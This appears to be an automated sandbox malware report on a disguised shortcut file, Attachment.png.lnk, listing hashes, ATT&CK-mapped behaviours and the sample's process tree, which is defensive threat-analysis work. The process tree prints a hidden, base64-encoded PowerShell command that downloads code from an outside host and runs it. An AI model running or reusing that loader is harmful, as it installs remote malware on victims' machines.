d58dc2ab26df5783442b79e3edb7826599494b28f3c75fa3823cbc876f3707da

General

Target

4bd/Attachment.png.lnk
Size

1KB
MD5

15482111f86159dc4cca2034e5520350
SHA1

7745a383710aa802613daaa245b456c77149d437
SHA256

a0e0df53e65b8b4f229eeec3e5c839b9436910a2830854b9e52aa11cd2155d4b
SHA512

6190c2808eb2712583a0c7b930d8bb6ca3628dcfdcfcc46b86153757b271220aa37d5fe6aed571a6575e941e3b222e29e086905c27eef85a2046d8108b66f92c

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

12 2688 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1016 2688 WerFault.exe powershell.exe

flow	pid	process
12	2688	powershell.exe

pid	pid_target	process	target process
1016	2688	WerFault.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

powershell.exepowershell.exeWerFault.exe

pid	process
2468	powershell.exe
2468	powershell.exe
2468	powershell.exe
2688	powershell.exe
2688	powershell.exe
2688	powershell.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe
1016	WerFault.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 2468 powershell.exe
Token: SeDebugPrivilege 2688 powershell.exe
Token: SeDebugPrivilege 1016 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	1016	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 2236 wrote to memory of 2468	2236	cmd.exe	powershell.exe
PID 2236 wrote to memory of 2468	2236	cmd.exe	powershell.exe
PID 2468 wrote to memory of 2688	2468	powershell.exe	powershell.exe
PID 2468 wrote to memory of 2688	2468	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\4bd\Attachment.png.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2236

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -noexit -file work.ps1
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2468

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -enc JABNAD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGgAaQBuAGcAYwBhAGwAbABlAGQAYwBhAGsAZQAuAGMAbwBtAC8AZgBpAGwAZQAnACkAOwAkAHQAPQAkAE0ALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApADsAJABSAD0AJAB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQARgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACQAUgA7ACQAcAA9ACQARgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AGkAZQB4ACgAJABwACkAOwAgAA==
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2688

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2688 -s 2492
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1016

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2468-114-0x0000000000000000-mapping.dmp

Download
memory/2468-119-0x000001AE46920000-0x000001AE46921000-memory.dmp

Filesize
4KB

Download
memory/2468-140-0x000001AE5F720000-0x000001AE5F721000-memory.dmp

Filesize
4KB

Download
memory/2468-151-0x000001AE5F7E0000-0x000001AE5F7E1000-memory.dmp

Filesize
4KB

Download
memory/2468-152-0x000001AE46950000-0x000001AE46952000-memory.dmp

Filesize
8KB

Download
memory/2468-153-0x000001AE46953000-0x000001AE46955000-memory.dmp

Filesize
8KB

Download
memory/2468-160-0x000001AE46956000-0x000001AE46958000-memory.dmp

Filesize
8KB

Download
memory/2468-205-0x000001AE46958000-0x000001AE46959000-memory.dmp

Filesize
4KB

Download
memory/2688-179-0x0000000000000000-mapping.dmp

Download
memory/2688-202-0x000001A55D380000-0x000001A55D382000-memory.dmp

Filesize
8KB

Download
memory/2688-203-0x000001A55D383000-0x000001A55D385000-memory.dmp

Filesize
8KB

Download
memory/2688-204-0x000001A55D386000-0x000001A55D388000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing